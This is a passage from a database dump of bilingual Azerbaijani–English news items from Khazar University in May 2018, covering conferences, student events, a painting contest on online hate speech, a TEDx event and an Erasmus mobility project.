National Leader, Heydar Aliyev. In the conference, Gardashkhan Azizkhanli delivered a report entitled “Poetic praise of the idea of United Azerbaijan in Mammad Araz’s poetry”.</p>'),(5621,3233,'az','“Müasir oxucular niyə daha çox psixoloji və motivasiyaedici kitablara üstünlük verirlər?” adlı müzakirə oldu','2018-ci il mayın 18-də Xəzər Universiteti Kitabxana-İnformasiya Mərkəzi “Gəlin, birlikdə mütaliə edək...','<p>2018-ci il mayın 18-də Xəzər Universiteti Kitabxana-İnformasiya Mərkəzi “Gəlin, birlikdə mütaliə edək” layihəsi çərçivəsində “Müasir oxucular niyə daha çox psixoloji və motivasiyaedici kitablara üstünlük verirlər?” adlı müzakirə keçirdi.</p><p>Tədbiri giriş sözü ilə Kitabxana-İnformasiya Mərkəzinin əməkdaşı Esmira Hüseynova açdı. Xəzər Universitetinin məzunu psixoloq Leyla Qasımova müzakirədə iştirak etdi. Tələbələr mövzunun müzakirəsinə çox fəal yanaşdılar və maraqlı fikirlər bildirdilər.</p><p>Belə tədbirlərin mütəmadi keçirilməsini arzu etdilər.</p>'),(5622,3233,'en','Discussion held on the topic “Why do modern readers prefer psychological and motivational books?”','On May 18, 2018, Library and Information Center of Khazar University...','<p>On May 18, 2018, Library and Information Center of Khazar University held a discussion on the topic “Why do modern readers prefer psychological and motivational books?” within the project “Let’s read together”.</p><p>Esmira Huseynova, an associate of Library and Information Center, opened the meeting. Psychologist Leyla Gasimova, a Khazar University graduate, also participated in the discussion. Students took an active part in the discussion and expressed interesting opinions.</p><p>Similar events were requested to be held in the future.</p>'),(5623,3234,'az','THE SAME komandası MAG televiziya proqramının qonağı oldu','2018-ci il mayın 18-də Xəzər Universitetinin İqtisadiyyat və menecment...','<p>2018-ci il mayın 18-də Xəzər Universitetinin İqtisadiyyat və menecment fakültəsinin tələbələrindən ibarət THE SAME AzTV kanalında yayımlanan “MAG”(Müasir Azərbaycan Gənci) proqramında çıxış etdilər. Qeyd edək ki, MAG televiziya proqramı Azərbaycan gənclərinin fəaliyyət və uğurlarını işıqlandıran gənclər arasında ən baxımlı verilişlərdən biridir.</p><p>Çıxışında komanda öz gördüyü işlərdən və gələcək planlarından danışdı. Eləcə də, <em>Peer to Peer: Facebook Qlobal Rəqəmsal Çağırış</em> müsabiqəsinin gənclərə verdiyi töhfələrdən söhbət açıldı. Əsas məqsədi irqçi onlayn nifrət nitqlərinə qarşı təşkilat yaratmaq olan komanda sosial media hesablarının necə idarə edilməsi, hansı yollardan istifadə edərək, daha çox kütlənin cəlb edilməsi və ideyalarının&nbsp;gənclər tərəfindən yüksək qiymətləndirilməsi haqda danışdı.</p>\r\n<p>İlk olaraq, komandanın lideri Dr. Bahadır Baysal komandanın necə ərsəyə gəldiyini, komanda üzvlərinin hansı bacarıqlara sahib olaraq, digər tələbələrdən seçildiklərini və komanda üzvlərinin marketinq və digər ixtisas yönümlü bacarıqlarının onlara nə dərəcədə bu müsabiqədə kömək olduğunu qeyd etdi. Sonra komandanın üzvü Xəyalə Şıxəliyeva THE SAME-in mahiyyəti və əsas məqsədləri barəsində çıxış etdi və komandanın keçirdiyi ilk sorğunun onların qərarlarına necə təsir etdiyini qeyd etdi. Daha sonra komandanın üzvü Ruslan Osmanlı EdVenture Partners şirkətinin Peer to Peer: Facebook Qlobal Rəqəmsal Çağırış müsabiqəsi barəsində və bu müsabiqəyə necə qoşulmaq barəsində məlumat verdi. Komandanın digər üzvləri Sinan Rzayev və Etibar Saatov isə THE SAME komandasının sosial media strategiyası, keçirdikləri və gələcəkdə gözlənilən layihələri haqqında danışdılar.</p>'),(5625,3235,'az','THE SAME komandasının təşkil etdiyi rəsm müsabiqəsinə qoşul','Öz istedadına güvənirsən?! O zaman THE SAME komandasının...','<p>Öz istedadına güvənirsən?! O zaman THE SAME komandasının təşkil etdiyi rəsm müsabiqəsinə qoşul!</p><p>Həvəskar və peşəkar gənclər arasında rəsm müsabiqəsi elan edirik.</p><p><strong><em>İrqçilik, irqçilyə səssiz qalma və irqçi onlayn nifrət mesajları</em></strong> mövzusunda müxtəlif janrlarda rəsm və ya rəsmlər çək və çəkdiyin əsəri və ya əsərləri iyunun 4-nə qədər Xəzər Universitetinin “Neftçilər” kampusuna (Məhsəti küç., 41) təhvil ver.</p><p>Əsərlər Xətai Sənət Mərkəzində böyük konsert tədbiri ilə nümayiş olunacaq və seçilən əsərlər mükafatlandırılacaq.</p><p>Əlavə məlumat üçün bizə yaza və ya Whatsapp vasitəsilə əlaqə saxlaya bilərsiniz: (+99455) 327 5447</p>'),(5626,3235,'en','Join the painting contest organized by THE SAME team','Are you confident about your talent? Then join the painting contest organized...','<p>Are you confident about your talent? Then join the painting contest organized by THE SAME team!</p><p>We announce a painting contest for amateur and professional young painters.</p><p>Paint a picture/s in various genres on the topics of <strong><em>racism, struggle against racism and online hate </em></strong><strong><em>speech </em></strong>and hand them over to the “Neftchiler” campus (41 Mehseti St.) of Khazar University until June 4.</p><p>The paintings will be demonstrated at Khatai Art Center with an accompaniment of a concert program and selected paintings will be rewarded.</p><p>For further information please contact us or write us on WhatsApp: (+99455) 327 5447</p>'),(5627,3236,'az','“Xəzər Xəbər” jurnalının aprel nömrəsi çapdan çıxıb','“Xəzər Xəbər” jurnalının 2018-ci il aprel nömrəsi...','<p>“Xəzər Xəbər” jurnalının 2018-ci il aprel nömrəsi (372-ci nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır. Jurnalı bu linkdə də oxuya bilərsiniz:</p><p><a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a></p>'),(5628,3236,'en','April issue of “Khazar Review” journal is published','April issue of “Khazar Review” journal (number 372) has been published...','<p>April issue of “Khazar Review” journal (number 372) has been published at the Khazar University press. The journal is available at</p> <p><a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a></p>'),(5629,3237,'az','Universitetin əməkdaşı beynəlxalq konfransda','2018-ci il mayın 21-dən 23-dək Bakı Dövlət Universitetində Qafqaz Müsəlmanları...','<p>2018-ci il mayın 21-dən 23-dək Bakı Dövlət Universitetində Qafqaz Müsəlmanları İdarəsi ilə birgə təşkil olunmuş “<em>Azərbaycan Xalq Cümhuriyyəti–100: Müsəlman Şərqində ilk parlamentli respublika</em>” adlı Beynəlxalq elmi konfrans keçirildi. ABŞ, Türkiyə, Qazaxıstan, Özbəkistan, Rusiya, Gürcüstan, Moldova, Küveyt, Polşa və digər ölkələrdən 70-dək elm adamının qatıldığı konfransın açılış mərasimində xarici ölkələrin tanınmış alimləri ilə yanaşı, Azərbaycanın elm və təhsil ictimaiyyətinin nümayəndələri, Milli Məclisin deputatları, dövlət və hökumət rəsmiləri iştirak edirdilər. Konfransda Xəzər Universitetini universitetin Dillər və mədəniyyətlər departamentinin koordinatoru f.ü.f.d. dosent Zivər Hüseynli-Baylan təmsil edirdi. O, “Azərbaycan Xalq Cümhuriyyəti mətbuatında ermənilərin törədikləri soyqırımların&nbsp;işıqlandırılması” mövzusu ilə çıxış etdi.</p><p>Konfransın sonunda hər bir məruzəçiyə iştirak sertifikatı və tezislər kitabı təqdim edildi.</p>'),(5630,3237,'en','University associate at an international conference','On May 21-23, 2018, an international scientific conference entitled “Azerbaijan Democratic Republic-100...','<p>On May 21-23, 2018, an international scientific conference entitled “<em>Azerbaijan Democratic Republic-100: The first parliamentary republic in the Muslim East</em>” was held at Baku State University with the support of Caucasian Muslims Office. About 70 scholars from the USA, Turkey, Kazakhstan, Uzbekistan, Russia, Georgia, Moldova, Kuwait, and Poland participated at the conference. Moreover, figures of the scientific and educational community, members of parliament as well as state and government officials joined the conference. Khazar University was represented by Assoc. Prof. Zivar Huseynli-Baylan, a coordinator of the Department of Languages and Cultures. She delivered a report entitled \"Coverage of the genocide committed by the Armenians in the press of the Azerbaijan Democratic Republic\".</p><p>At the end of the conference, each participant was certified and provided with a book of proceedings.</p>'),(5631,3238,'az','“Cümhuriyyət dövrü Azərbaycan ədəbiyyatı” mövzusunda tədbir oldu','2018-ci il mayın 22-də Xəzər Universitetində Təhsil fakültəsinin tələbələri...','<p>2018-ci il mayın 22-də Xəzər Universitetində Təhsil fakültəsinin tələbələri ilə Azərbaycan dili və ədəbiyyatı departamenti Azərbaycan Xalq Cümhuriyyətinin yaradılmasının 100 illiyi münasibətilə “<em>Cümhuriyyət dövrü Azərbaycan ədəbiyyatı</em>” mövzusunda dərs – ithaf keçirdi. Azərbaycan dili və ədəbiyyatı departamentinin dosenti Dilbər Zeynalova dərsin əsas məqsədinin Cümhuriyyət məfkurəsinin formalaşmasında ədəbiyyatın böyük əhəmiyyət kəsb etdiyini gənc nəslin nəzərinə çatdırmaq olduğunu vurğuladı. O, qeyd etdi ki, cümhuriyyət illərində M.Ə.Rəzulzadənin, Ə.Hüseynzadənin, Ə.Ağaoğlunun, Ü.Hacıbəylinin, Ə.Cavadın, C.Cabbarlının və b. ciddi yaradıcılığı sayəsində ədəbiyyat sadəcə əyləncə deyil, bütün böyük dəyişikliklərin təməlində duran vasitəyə çevrildi. Tələbələr M.Ə.Rəsulzadənin “Mayıs duyğuları”, Ə.Hüseynazədnin “Hali-vətən” Ə.Cavadın “Mayıs”, C.Cabbarlının “Azərbaycan bayrağına”, A.İldırımın “Azərbaycan” və s. şeirlərini səsləndirdilər. Dərs tələbələrin ifasında “Çırpınırdı, Qara dəniz” manhı-marşı ilə sona çatdı.</p>'),(5632,3238,'en','Ceremony entitled “Azerbaijani Literature during the Democratic Republic” takes place','On May 22, 2018, students of the Faculty of Education and the Department of Azerbaijani...','<p>On May 22, 2018, students of the Faculty of Education and the Department of Azerbaijani Language and Literature, held a special lesson entitled “<em>Azerbaijani literature during the Democratic Republic</em>” which was dedicated to the 100<sup>th</sup> anniversary of the establishment of the Azerbaijan Democratic Republic. Dilbar Zeynalova, Assoc.Prof of the Department of Azerbaijani Language and Literature, noted that the main aim of the lesson was to enlighten the young generation about the fact that literature had a great influence on the formation of the ideology of Republicanism. She underlined that thanks to M.Razulzade, A.Huseynzade, A.Aghaoghlu, U.Hajibeyli, A.Cavad, C.Cabbarli and others, in addition to being entertainment, literature also functioned as a means leading to great changes. Students recited poems \"May feelings\" by M.A.Rasulzadeh, \"Hali-Vatan\" by A.Huseynzadeh, \"May\" by A.Javad, \"The Flag of Azerbaijan\" by J.Jabbarli, \"Azerbaijan\" by A.Ildirim, etc. The lesson ended with song-anthem “Chirpinirdi Gara Deniz” performed by the students.</p>'),(5633,3239,'az','Xəzər Universitetində \"Azərbaycan-Çin dostluğu\" adlı tədbir keçirildi','2018-ci il mayın 18-də Xəzər Universitetinin tələbələri Bakı Dövlət Universiteti...','<p>2018-ci il mayın 18-də Xəzər Universitetinin tələbələri Bakı Dövlət Universiteti Konfutsi İnstitutunun dəstəyi ilə “<em>Azərbaycan-Çin dostluğu</em>” adlı tədbir keçirdilər.</p><p>Tədbir Xəzər Universitetinin İngilis dili və ədəbiyyatı departamentinin ingilis dili müəllimi Səadət Fərhadovanın təşkilatçılığı, Xəzər Universiteti Çin dili və mədəniyyəti təlimçisi, eyni zamanda, BDU Konfutsi İnstitutunda da təlimçi olan Li Yanın və Universitetin İqtisadiyyat və menecment fakültəsinin tələbəsi Mehdi Nourinin köməyi ilə baş tutmuşdur.</p><p>Tədbirin məqsədi qədimdən sıx dostluq və tərəfdaşlıq əlaqələri olan iki dövlətin daha da güclənməkdə olan dostluğuna töhfə vermək idi. Tədbirdə iki dövlətin tarixi, mədəniyyəti, təhsili, iqtisadiyyatı barəsində geniş məlumat verildi. Tədbirin mədəniyyət hissəsində tələbələr milli geyimlərdə Azərbaycan və Çin milli rəqslərinin ifa etdilər.</p><p>Tədbirin sonunda ümumu müzakirələr, diskussiyalar keçirildi və xatirə şəkilləri çəkildi.</p>'),(5634,3239,'en','A ceremony entitled “Azerbaijan-Chinese friendship” held at Khazar University','On May 18, 2018, Khazar University students held a ceremony entitled “Azerbaijan...','<p>On May 18, 2018, Khazar University students held a ceremony entitled “<em>Azerbaijan-Chinese friendship</em>” with the support of Confucius Institute of Baku State University.</p><p>The ceremony took place with organizational support by Seadet Farhadova, an instructor of the Department of English Language and Literature at Khazar University, Li Ya, representative of Chinese language and culture at Khazar University as well as Confucius Institute of Baku State University, and Mehdi Nouri, a student of the Faculty of Economics and Management.</p><p>The aim of the ceremony is to contribute to the friendship between Azerbaijan and China, which have had strong relations for centuries. The ceremony covered the history, culture, education and economics of the two countries. In the cultural part of the ceremony, students performed Azeri and Chinese dances in national clothes of the two countries.</p><p>At the end of the ceremony, participants had discussions and had memory photos taken.</p>'),(5635,3240,'az','Xəzər Universitetinin tələbəsi HSK2 imtahanının qalibi oldu','2018-ci il mayın 16-da Xəzər Universitetində Çin dili dərsinin müəllimi...','<p>2018-ci il mayın 16-da Xəzər Universitetində Çin dili dərsinin müəllimi Li Ya Laoshi və tələbələr semestr ərzində əldə etdikləri nailiyyətləri və göstərdikləri yüksək nəticəni birlikdə qeyd etdilər.</p><p>Qeyd edək ki, cari il martın 28-də Bakı Dövlət Universiteti Konfutsi İnstitutunda HSK2 test imtahanları keçirilmişdi. Çin dilini öyrənənlər üçün dünya miqyaslı HSK2 test imtahanında ilk dəfə Xəzər Universitetinin tələbələri Ağaxan Bağırlı və Nicat İsmayılov da iştirak etmişdilər. Ağaxan Bağırlı imtahanda Azərbaycan üzrə ən yüksək nəticəni əldə etmişdi.</p>'),(5636,3240,'en','Khazar University student did well in the HSK2 exam','On May 16, 2018, Li Ya Laoshi, an instructor of Chinese language...','<p>On May 16, 2018, Li Ya Laoshi, an instructor of Chinese language at Khazar University, and students celebrated achievements and high results gained during the semester.</p><p>On March 28, 2018, HSK2 test exam was held at Confucius Institute of Baku State University. Aghakhan Baghirli and Nijat Ismayilov, students of Khazar University, participated in the HSK2 exam, a worldwide test exam for Chinese learners. Aghakhan Baghirli scored the highest mark in the exam in Azerbaijan.</p>'),(5637,3241,'az','“Azərbaycan Xalq Cümhuriyyətində dil məsələsi” adlı seminar','2018-ci il mayın 24-də Xəzər Universiteti Dillər və mədəniyyətlər departamentinin...','<p>2018-ci il mayın 24-də Xəzər Universiteti Dillər və mədəniyyətlər departamentinin təşkilatçılığ ilə Azərbaycan Xalq Cumhuriyyətinin 100-cü ildönümü münasibəti ilə “Azərbaycan Xalq Cümhuriyyətində dil məsələsi” adlı seminar keçirildi. Seminarda Azərbaycan Milli Elmlər Akademiyası Rəyasət Heyəti “Türkologiya” jurnalının məsul katibi filologiya üzrə fəlsəfə doktoru Elçin İbrahimov, “Azərbaycan Xalq Cümhuriyyəti dönəmində dil məsələsi” mövzusunda dinləyicilərə dolğun məlumatlar verdi. Çıxışdan sonra müzakirə bölməsində Dillər və mədəniyyətlər departamentinin&nbsp;koordinatoru f.ü.f.d., dosent Zivər Hüseynli-Baylan, AMEA M.Füzuli adına Əlyazmalar İnstitutunun elmi işçisi və Xəzər Universitetinin müəllimi f.ü.f.d. Xatirə Yusifova və AMEA Nəsimi adına Dilçilik İnstitunun böyük elmi işçisi, həmin institutun Təhsil şöbəsinin müdiri və Xəzər Universitetinin müəllimi f.ü.f.d. Qətibə Quliyeva iştirak etdilər.</p><p>Sonda mövzu haqqında tələbərin sualları cavablandırıldı.</p>'),(5638,3241,'en','Seminar on “Language issues in the Azerbaijan Democratic Republic”','On May 24, 2018, on the organizational support of the Department of Languages...','<p>On May 24, 2018, on the organizational support of the Department of Languages and Cultures of Khazar University, a seminar on “Language issues in the Azerbaijan Democratic Republic” was held on the occasion of the 100<sup>th</sup> anniversary of the establishment of the Azerbaijan Democratic Republic. In the seminar, Elchin Ibrahimov, PhD in Philology and executive secretary of the journal “Turkish Studies” of Presidium of the Azerbaijan National Academy of Sciences, enlightened the participants about the topic entitled “Language issues in the Azerbaijan Democratic Republic”. Assoc. Prof. Zivar Huseynli-Bayla, coordinator of the Department of Languages and Cultures, Khatira Yusifova, researcher of Institute of Manuscripts named after M.Fuzuli of ANAS and instructor of Khazar University, as well as Gatiba Guliyeva, senior researcher of Institute of Linguistics named after Nasimi of ANAS, Head of the Department of Education of the same Institute and instructor of Khazar University, participated in the discussion part of the seminar.</p><p>At the end, students got answers to their questions.</p>'),(5639,3242,'az','Dissertantın məqaləsi çap olundu','2018-ci il mayın 23-də Xəzər Universitetinin dissertantı Abbes Benmoussatın...','<p>2018-ci il mayın 23-də Xəzər Universitetinin dissertantı Abbes Benmoussatın “<em>Problems of Equity in the History (political approach)</em>” adlı məqaləsi Türkiyənin “Uluslararası Medeniyet Çalışmaları Dergisi”ndə çap olunmuşdur.</p><p>Məqaləni bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://www.inciss.com/wp-content/uploads/2018/05/ABBES-BENMOUSSAT.pdf\">http://www.inciss.com/wp-content/uploads/2018/05/ABBES-BENMOUSSAT.pdf</a></p>'),(5640,3242,'en','A paper by PhD student published','On May 23, 2018, an article entitled on “Problems of Equity in the History (political approach)...','<p>On May 23, 2018, an article entitled on “<em>Problems of Equity in the History (political approach)</em>” by Abbes Benmoussat, a PhD student at Khazar University, was published in “The Journal of International Civilization Studies”, Turkey.</p><p>A link for the article:</p><p><a href=\"http://www.inciss.com/wp-content/uploads/2018/05/ABBES-BENMOUSSAT.pdf\">http://www.inciss.com/wp-content/uploads/2018/05/ABBES-BENMOUSSAT.pdf</a>  <br></p>'),(5641,3243,'az','TEDx-in növbəti tədbiri olacaq','2018-ci il iyunun 25-i saat 16:00-da Xəzər Universitetinin şəhər mərkəzindəki...','<p>2018-ci il iyunun 25-i saat 16:00-da Xəzər Universitetinin Mərkəz kampusunda&nbsp;(Bəşir Səfəroğlu küç. 122) Fikrət Əmirov Konfrans-Konsert Mərkəzində&nbsp;TEDxKhazarUniversity-nin növbəti –&nbsp;“Ömür boyu sevgi” adlı tədbiri olacaq. TEDxKhazarUniversity tədbirinin budəfəki qonaqları Xəzər Universitetinin elmi işlər üzrə prorektoru dosent İradə Xəlilova, Avrasiya Bilik Mərkəzinin rəhbəri professor İnqilab Əhmədov, kinorejissor Ayaz Salayev, müğənni Miri Yusif, “Gələcəyini Qur” layihəsinin rəhbəri Bəhruz Hidayətzadə olacaq.</p><p>Biletlər Xəzər Universitetinin “Neftçilər” kampusunda (otaq 303), Beynəlxalq Əlaqələr Şöbəsində və Karyera Mərkəzində satılır. Bundan başqa, biletləri Xalq Bank və VTB bankdan əldə etdikləri qəbzlə tədbir günü girişdə də ala bilərlər. Əlavə məlumat üçün bu e-mail-lə (<a href=\"mailto:gmaharramov@khazar.org\">gmaharramov@khazar.org</a>)&nbsp;əlaqə saxlamaq olar.</p><p>Hamını TEDxKhazarUniversity həyəcanına qoşulmağa dəvət edirik.</p>'),(5642,3243,'en','Next event of TEDx takes place','On June 25, 2018, at 16:00 next event of TEDxKhazarUniversity – \"A Lifelong Love...','<p>On June 25, 2018, at 16:00 next event of TEDxKhazarUniversity –   \"A Lifelong Love\" –   will take place in Fikrat Amirov conference-concert hall at Khazar University, the campus situated in the city centre (122 Beshir Seferoghlu St). The guests of TEDxKhazarUniversity will be Assoc.Prof. Irada Khalilova, Vice-rector for Research of Khazar University, Prof. Ingilab Ahmadov, Director of Eurasia Extractive Industries Knowledge Hub, Ayaz Salayev, film director, Miri Yusif, singer, and Bahrus Hidayetzadeh, Head of the project “Build Your Future”.</p><p>The tickets are available at “Neftchiler” campus (Room 303), in the Department of International Relations, and Career Center. Moreover, the tickets can be obtained at the entrance by submitting receipts from Xalq Bank and VTB Bank. For further information, please write an email to: <a href=\"mailto:gmaharramov@khazar.org\">gmaharramov@khazar.org</a>.</p>\r\n<p>Everybody is welcome to join the excitement of TEDxKhazarUniversity</p>'),(5643,3244,'az','Azərbaycan Xalq Cümhuriyyətinin 100 illiyinə həsr edilmiş III Tələbələrarası Məntiq Olimpiadası','2018-ci il mayın 23-də bakıdakı otellərdən birində Kainat Tədris Mərkəzinin...','<p>2018-ci il mayın 23-də bakıdakı otellərdən birində Kainat Tədris Mərkəzinin və ATGTİ-nin birgə layihəsi olan III Tələbələrarası Məntiq Olimpiadasının qaliblərinin mükafatlandırma mərasimi keçirildi. Tədbirdə final mərhələsində iştirak edən 214 nəfər tələbə baş sponsor Veysəloğlu şirkətinin, sponsor “Odda Cafe”-nin, akademik sponsor Xəzər Universitetinin nümayəndələri iştirak edirdilər.</p><p>Xəzər Universitetini təmsil edən professor Fuat Rəsulov ilk olaraq, olimpiadada qalib olan bütün tələbələri, onların valideynlərini və müəllimlərini təbrik etdi.</p><p>Sonda mükafatlandırma mərasimində ilk 10 qalibə sponsorlar tərəfindən müxtəlif qiymətli hədiyyələr (iPhone X   telefonu, notebook, planşet və s.) verildi. Olimpiadanın qalibi –&nbsp;1-ci yerin sahibi Mustafa Qasımova isə ən qiymətli mükafat –&nbsp;Xəzər Universitetinin MBA proqramı üzrə magistraturasında ödənişsiz təhsil alma hüququnu təsdiqləyən xüsusi sertifikat təqdim edildi.</p><p>Bu haqda daha geniş məlumatı bu linklər vasitəsilə əldə etmək olar:</p><p><a href=\"https://az.trend.az/azerbaijan/society/2907798.html\">https://az.trend.az/azerbaijan/society/2907798.html</a>;</p><p><a href=\"http://son.az/az/news/374497/veyseloglu-qrup-un-bas-sponsorlugu-ile-kecirilen-mentiq-olimpiadasinin-qalibleri-mukafatlandirildi-foto\">http://son.az/az/news/374497/veyseloglu-qrup-un-bas-sponsorlugu-ile-kecirilen-mentiq-olimpiadasinin-qalibleri-mukafatlandirildi-foto</a>.</p>'),(5644,3244,'en','III Student Logic Olympiad dedicated to the 100th anniversary of the Azerbaijan Democratic Republic','On May 23, 2018, at one of the hotels in Baku, the awarding ceremony of the winners...','<p>On May 23, 2018, at one of the hotels in Baku, the awarding ceremony of the winners of the III Student Logic Olympiad, a joint project of Kainat Education Centre and Azerbaijan Student Youth Organizations Union, was held. The event was attended by 214 students, Veysaloghlu, general sponsor, “Odda Cafe”, sponsor, and Khazar University, academic sponsor.</p><p>Prof. Fuat Rasulov, a representative of Khazar University, congratulated all the winners, their parents and teachers. At the end of the awarding ceremony, the first 10 winners were awarded various valuable gifts (iPhone X phones, notebooks, tablets, etc.) by sponsors.</p><p>The winner of the Olympiad, Mustafa Gasimov, was awarded the most valuable prize, a special certificate certifying the right of free education in MBA program at Khazar University.</p><p>Further information is available in the following links:</p> <p><a href=\"https://az.trend.az/azerbaijan/society/2907798.html\">https://az.trend.az/azerbaijan/society/2907798.html</a>;</p><p><a href=\"http://son.az/az/news/374497/veyseloglu-qrup-un-bas-sponsorlugu-ile-kecirilen-mentiq-olimpiadasinin-qalibleri-mukafatlandirildi-foto\">http://son.az/az/news/374497/veyseloglu-qrup-un-bas-sponsorlugu-ile-kecirilen-mentiq-olimpiadasinin-qalibleri-mukafatlandirildi-foto</a>.</p>'),(5645,3245,'az','İqtisadiyyat və menecment fakültəsinin tələbəsi mükafat aldı','2018-ci il mayın 10-da Xəzər Universitetinin İqtisadiyyat və menecment fakültəsinin...','<p>2018-ci il mayın 10-da Xəzər Universitetinin İqtisadiyyat və menecment fakültəsinin 2-ci il tələbəsi Aydın Səlimlinin seçkilərlə bağlı yazdığı məqaləsi Avropa İttifaqının dəstəyi ilə Demokratiyanı Öyrənmə İctimai Birliyinin icra etdiyi “Azərbaycanda Azad və Ədalətli Seçkilər üçün Vətəndaş İştirakçılığı” layihəsi çərçivəsində həyata keçirilən “Mən və Seçkilər” onlayn esse müsabiqəsində 3-cü yerə layiq görülmüşdür.</p><p>Xatırladaq ki, müsabiqəyə 30-dan artıq məqalə təqdim edilmişdi. Qaliblər pul mükafatı və sertifikat ilə təltif edildilər.</p><p>Məqaləni bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://seckiler.az/2018/04/03/gənc-secici-a-səlimli/\">http://seckiler.az/2018/04/03/gənc-secici-a-səlimli/</a>.</p>'),(5646,3245,'en','Student of the Faculty of Economics and Management rewarded','On May 10, 2018, an article on the elections by Aydin Salimli, a second year student...','<p>On May 10, 2018, an article on the elections by Aydin Salimli, a second year student of the Faculty of Economics and Management, held the third place in the “Me and Elections”, an online essay contest, held within the project “Civil Participation for Free and Fair Elections in Azerbaijan” realized by Study of Democracy Public Union with the support of the European Union.</p><p>More than 30 articles were submitted to the contest. The winners were rewarded with cash prizes and certificates.</p><p>A link to the article:</p><p><a href=\"http://seckiler.az/2018/04/03/g%C9%99nc-secici-a-s%C9%99limli/\">http://seckiler.az/2018/04/03/gənc-secici-a-səlimli/</a>.  <br></p>'),(5647,3246,'az','Lidiya Həmidovanın yubileyi keçirildi','2018-ci il mayın 23-də Xəzər Universiteti Humanitar və sosial elmlər fakültəsi...','<p>2018-ci il mayın 23-də Xəzər Universiteti Humanitar və sosial elmlər fakültəsi İngilis dili və ədəbiyyatı departamentinin müəllimi Lidiya Həmidovanın  65 illik yubiley tədbiri keçirildi. Tədbirdə fakültə müəllimləri ilə yanaşı, rəhbər işçilər də iştitrak edirdilər. İlk olaraq, fakültənin dekanı dosent Cabir Xəlilov yubilyarı təbrik etdi və ona pedaqoji fəaliyyətində yeni-yeni uğurlar arzuladığını bildirdi. Daha sonra universitetin tədris işləri üzrə prorektoru Məhəmməd Nuriyev, Tarix və arxeologiya departamentinin rəhbəri Roza Arazova, İngilis dili departamentinin baş müəllimi Firəngiz Nəsirova, məzunlarla iş üzrə koordinator Baba Bayramlı və başqaları söz alaraq Lidiya xanıma ürək sözlərini bildirdilər.</p><p>Sonda yubilyar belə bir tədbirin təşkilinə və xoş sözlərə&nbsp;görə iştirakçılara öz dərin minnətdarlığını bildirdi.</p>'),(5648,3246,'en','Lydia Gamidova\'s jubilee held','On May 23, 2018, Lydia Gamidova\'s, an instructor of the Department of English...','<p>On May 23, 2018, Lydia Gamidova\'s, an instructor of the Department of English Language and Literature, the Faculty of Humanities and Social Sciences of Khazar University, 65th jubilee was held. Along with the department instructors, university administration participated at the event. First, Jabir Khalilov, Dean of the Department, congratulated Lydia Gamidova and wished her success in her career. Then Mahammad Nuriyev, Vice-rector for Education of Khazar University, Roza Arazova, Head of the Department of History and Archaeology, Firangiz Nasirova, Senior teacher of the Department of English Language and Literature, Baba Bayramli, Director of the Center for Alumni Relations and others congratulated Lydia Gamidova.</p><p>At the end, Lydia Gamidova expressed her gratitude for the event and wishes.</p>'),(5649,3247,'az','PAWER layihəsi çərçivəsində Almatıda görüş','2018-ci il mayın 16-dan 18-dək Xəzər Universitetinin əməkdaşları Qazaxıstan...','<p>2018-ci il mayın 16-dan 18-dək Xəzər Universitetinin əməkdaşları Qazaxıstan Milli Kənd Təsərrüfatı Universitetində PAWER layihəsi çərçivəsində keçirilən idarəetmə görüşündə və təlimdə iştirak etdilər.</p><p>L\'Aquila Universitetinin (İtaliya) koordinasiya etdiyi PAWER (Regionlararası Mobilliyin və Keçid Uyğunluğunun Yolunun Açılması, Keyfiyyət və Keçid Bərabərliyi) layihəsinin iştirakçılarından biri də Xəzər Universitetidir. Layihə kredit ayırma və qiymətləndirmə sistemini uyğunlaşdıraraq, AB və tərəfdaş ölkələr arasında hərəkətliliyi təşviq etməyi və dəstəkləməyi hədəfləyir.</p><p>Gürcüstan, Macarıstan, İtaliya, Qazaxıstan, Qırğızıstan, Monqolustan, Rusiya, Tacikistan və Özbəkistan universitetlərinin nümayəndələri təlimdə bir araya gəldilər. Tədbirdə Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin dekan müavini Dr. Fəxrəndə Əlimərdanova, İnkişaf Mərkəzinin layihə meneceri Ülkər Bayramova və İqtisadiyyat və menecment fakültəsinin koordinator Dr. Elvin Məmmədov təmsil edirdilər.</p><p>Təlimin məqsədi Bolonya prosesi, AKTS (ECTS), mobillik sazişləri, mübadiləsi zamanı və sonrasında dəstək, hərəkətlilik siyasəti və s. daxil olmaqla, tələbələr və işçilərin hərəkətliliyinə dair mühüm məsələləri müzakirə etmək idi. Təlim, həmçinin, ölkələrində seminarlar və bacarıqların artırılması ilə layihə məlumatlarının yayılmasına davam edəcək olan milli təlimçilər hazırlamağı nəzərdə tutur.</p>'),(5650,3247,'en','PAWER meeting in Almaty','On May 16-18, 2018, staff members of Khazar University participated in a training...','<p>On May 16-18, 2018, staff members of Khazar University participated in a training that took place within the PAWER project at Kazakhstan National Agrarian University, Almaty.</p><p>Khazar University is one of the universities participating in the PAWER (Paving the Way to Interregional Mobility and Ensuring Relevance, Quality and Equity of Access) project coordinated by the University of L’Aquila (Italy). The project aims at promoting and supporting mobility between EU and partner countries by harmonizing the credit allocation and grading system.</p><p>The training brought together representatives of universities from Georgia, Hungary, Italy, Kazakhstan, Kyrgyzstan, Mongolia, Russia, Tajikistan, and Uzbekistan. Dr. Fakhranda Alimardanova, Vice-dean of the School of Engineering and Applied Sciences, Ulkar Bayramova, Project manager of Development Office and Dr. Elvin Mammadov, Coordinator of the School of Economics and Management represented Khazar University during the training.</p><p>The goal of the training was to discuss important issues associated with mobility of students and staff, including Bologna process, ECTS, mobility agreements, support before, during and after exchanges, mobility policy, etc. The training also aimed at preparing national trainers who will continue disseminating project information by delivering workshops and building capacity in their home countries.</p>'),(5651,3248,'az','Xəzər Universitetinin əməkdaşı AXC-nin 100 illiyinə həsr olunmuş konfransda','Azərbaycan Respublikası Gənclər və İdman Nazirliyinin Gənclərin Problemləri...','<p>Azərbaycan Respublikası Gənclər və İdman Nazirliyinin Gənclərin Problemləri üzrə Elmi Araşdırmalar Mərkəzi 2018-ci il mayın 23-də Beynəlxalq Mətbuat Mərkəzində AXC-nin 100 illiyinə həsr olunmuş konfrans keçirmişdir. Konfransda Araşdırma Mərkəzinin, ali məktəblərin, QHT-lərin əməkdaşları, ictimaiyyət nümayəndələri və media mənsubları iştirak etmişlər.</p><p>Konfransda tarixçi alimlər – Milli Məclisin 